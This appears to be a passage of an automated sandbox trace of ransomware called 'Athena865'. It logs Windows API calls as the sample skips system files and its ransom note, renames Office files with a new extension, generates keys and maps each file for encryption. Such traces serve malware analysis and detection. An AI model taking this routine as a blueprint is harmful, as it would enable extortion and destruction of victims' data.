HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0151.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.929] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xb854, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART2.BDR", cAlternateFileName="")) returned 1 [0151.929] lstrcmpiW (lpString1="MSART2.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.929] lstrcmpiW (lpString1="MSART2.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2=".") returned 1 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2="..") returned 1 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2="windows") returned -1 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2="bootmgr") returned 1 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2="temp") returned -1 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2="pagefile.sys") returned -1 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2="boot") returned 1 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2="ids.txt") returned 1 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2="ntuser.dat") returned -1 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2="perflogs") returned -1 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2="MSBuild") returned -1 [0151.930] lstrlenW (lpString="MSART2.BDR") returned 10 [0151.930] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART2.BDR" | out: lpString1="MSART2.BDR") returned="MSART2.BDR" [0151.930] lstrlenW (lpString="MSART2.BDR") returned 10 [0151.930] lstrlenW (lpString="Athena865") returned 9 [0151.930] lstrcmpiW (lpString1="SART2.BDR", lpString2="Athena865") returned 1 [0151.930] lstrlenW (lpString=".dll") returned 4 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2=".dll") returned 1 [0151.930] lstrlenW (lpString=".lnk") returned 4 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2=".lnk") returned 1 [0151.930] lstrlenW (lpString=".ini") returned 4 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2=".ini") returned 1 [0151.930] lstrlenW (lpString=".sys") returned 4 [0151.930] lstrcmpiW (lpString1="MSART2.BDR", lpString2=".sys") returned 1 [0151.930] lstrlenW (lpString="MSART2.BDR") returned 10 [0151.930] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.Athena865") returned 71 [0151.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.athena865"), dwFlags=0x1) returned 1 [0151.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.932] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=47188) returned 1 [0151.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0151.933] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0151.933] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.933] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.933] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbb60, lpName=0x0) returned 0x17c [0151.935] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbb60) returned 0x100000 [0151.938] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0151.938] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.938] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.939] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.940] CloseHandle (hObject=0x17c) returned 1 [0151.940] CloseHandle (hObject=0x154) returned 1 [0151.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0151.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.940] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe12e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART3.BDR", cAlternateFileName="")) returned 1 [0151.940] lstrcmpiW (lpString1="MSART3.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.940] lstrcmpiW (lpString1="MSART3.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.940] lstrcmpiW (lpString1="MSART3.BDR", lpString2=".") returned 1 [0151.940] lstrcmpiW (lpString1="MSART3.BDR", lpString2="..") returned 1 [0151.940] lstrcmpiW (lpString1="MSART3.BDR", lpString2="windows") returned -1 [0151.940] lstrcmpiW (lpString1="MSART3.BDR", lpString2="bootmgr") returned 1 [0151.940] lstrcmpiW (lpString1="MSART3.BDR", lpString2="temp") returned -1 [0151.940] lstrcmpiW (lpString1="MSART3.BDR", lpString2="pagefile.sys") returned -1 [0151.940] lstrcmpiW (lpString1="MSART3.BDR", lpString2="boot") returned 1 [0151.941] lstrcmpiW (lpString1="MSART3.BDR", lpString2="ids.txt") returned 1 [0151.941] lstrcmpiW (lpString1="MSART3.BDR", lpString2="ntuser.dat") returned -1 [0151.941] lstrcmpiW (lpString1="MSART3.BDR", lpString2="perflogs") returned -1 [0151.941] lstrcmpiW (lpString1="MSART3.BDR", lpString2="MSBuild") returned -1 [0151.941] lstrlenW (lpString="MSART3.BDR") returned 10 [0151.941] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART3.BDR" | out: lpString1="MSART3.BDR") returned="MSART3.BDR" [0151.941] lstrlenW (lpString="MSART3.BDR") returned 10 [0151.941] lstrlenW (lpString="Athena865") returned 9 [0151.941] lstrcmpiW (lpString1="SART3.BDR", lpString2="Athena865") returned 1 [0151.941] lstrlenW (lpString=".dll") returned 4 [0151.941] lstrcmpiW (lpString1="MSART3.BDR", lpString2=".dll") returned 1 [0151.941] lstrlenW (lpString=".lnk") returned 4 [0151.941] lstrcmpiW (lpString1="MSART3.BDR", lpString2=".lnk") returned 1 [0151.941] lstrlenW (lpString=".ini") returned 4 [0151.941] lstrcmpiW (lpString1="MSART3.BDR", lpString2=".ini") returned 1 [0151.941] lstrlenW (lpString=".sys") returned 4 [0151.941] lstrcmpiW (lpString1="MSART3.BDR", lpString2=".sys") returned 1 [0151.941] lstrlenW (lpString="MSART3.BDR") returned 10 [0151.941] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.Athena865") returned 71 [0151.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.athena865"), dwFlags=0x1) returned 1 [0151.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.943] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=57646) returned 1 [0151.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0151.944] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0151.944] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.944] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.945] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe430, lpName=0x0) returned 0x17c [0151.959] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe430) returned 0x100000 [0151.962] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0151.962] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.962] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.964] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.964] CloseHandle (hObject=0x17c) returned 1 [0151.964] CloseHandle (hObject=0x154) returned 1 [0151.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0151.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.965] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3902, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART4.BDR", cAlternateFileName="")) returned 1 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2=".") returned 1 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2="..") returned 1 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2="windows") returned -1 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2="bootmgr") returned 1 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2="temp") returned -1 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2="pagefile.sys") returned -1 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2="boot") returned 1 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2="ids.txt") returned 1 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2="ntuser.dat") returned -1 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2="perflogs") returned -1 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2="MSBuild") returned -1 [0151.965] lstrlenW (lpString="MSART4.BDR") returned 10 [0151.965] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART4.BDR" | out: lpString1="MSART4.BDR") returned="MSART4.BDR" [0151.965] lstrlenW (lpString="MSART4.BDR") returned 10 [0151.965] lstrlenW (lpString="Athena865") returned 9 [0151.965] lstrcmpiW (lpString1="SART4.BDR", lpString2="Athena865") returned 1 [0151.965] lstrlenW (lpString=".dll") returned 4 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2=".dll") returned 1 [0151.965] lstrlenW (lpString=".lnk") returned 4 [0151.965] lstrcmpiW (lpString1="MSART4.BDR", lpString2=".lnk") returned 1 [0151.966] lstrlenW (lpString=".ini") returned 4 [0151.966] lstrcmpiW (lpString1="MSART4.BDR", lpString2=".ini") returned 1 [0151.966] lstrlenW (lpString=".sys") returned 4 [0151.966] lstrcmpiW (lpString1="MSART4.BDR", lpString2=".sys") returned 1 [0151.966] lstrlenW (lpString="MSART4.BDR") returned 10 [0151.966] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.Athena865") returned 71 [0151.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.athena865"), dwFlags=0x1) returned 1 [0151.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.968] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14594) returned 1 [0151.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0151.968] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0151.969] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.969] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.969] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c10, lpName=0x0) returned 0x17c [0151.971] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c10) returned 0x100000 [0151.973] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0151.973] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.973] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.974] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.976] CloseHandle (hObject=0x17c) returned 1 [0151.976] CloseHandle (hObject=0x154) returned 1 [0151.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0151.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.977] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3dac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART5.BDR", cAlternateFileName="")) returned 1 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2=".") returned 1 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2="..") returned 1 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2="windows") returned -1 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2="bootmgr") returned 1 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2="temp") returned -1 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2="pagefile.sys") returned -1 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2="boot") returned 1 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2="ids.txt") returned 1 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2="ntuser.dat") returned -1 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2="perflogs") returned -1 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2="MSBuild") returned -1 [0151.977] lstrlenW (lpString="MSART5.BDR") returned 10 [0151.977] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART5.BDR" | out: lpString1="MSART5.BDR") returned="MSART5.BDR" [0151.977] lstrlenW (lpString="MSART5.BDR") returned 10 [0151.977] lstrlenW (lpString="Athena865") returned 9 [0151.977] lstrcmpiW (lpString1="SART5.BDR", lpString2="Athena865") returned 1 [0151.977] lstrlenW (lpString=".dll") returned 4 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2=".dll") returned 1 [0151.977] lstrlenW (lpString=".lnk") returned 4 [0151.977] lstrcmpiW (lpString1="MSART5.BDR", lpString2=".lnk") returned 1 [0151.977] lstrlenW (lpString=".ini") returned 4 [0151.978] lstrcmpiW (lpString1="MSART5.BDR", lpString2=".ini") returned 1 [0151.978] lstrlenW (lpString=".sys") returned 4 [0151.978] lstrcmpiW (lpString1="MSART5.BDR", lpString2=".sys") returned 1 [0151.978] lstrlenW (lpString="MSART5.BDR") returned 10 [0151.978] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.Athena865") returned 71 [0151.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.athena865"), dwFlags=0x1) returned 1 [0151.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.979] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15788) returned 1 [0151.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0151.980] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0151.981] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.981] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.981] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40b0, lpName=0x0) returned 0x17c [0151.982] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40b0) returned 0x100000 [0151.984] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0151.984] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.984] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.985] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.985] CloseHandle (hObject=0x17c) returned 1 [0151.985] CloseHandle (hObject=0x154) returned 1 [0151.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0151.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: 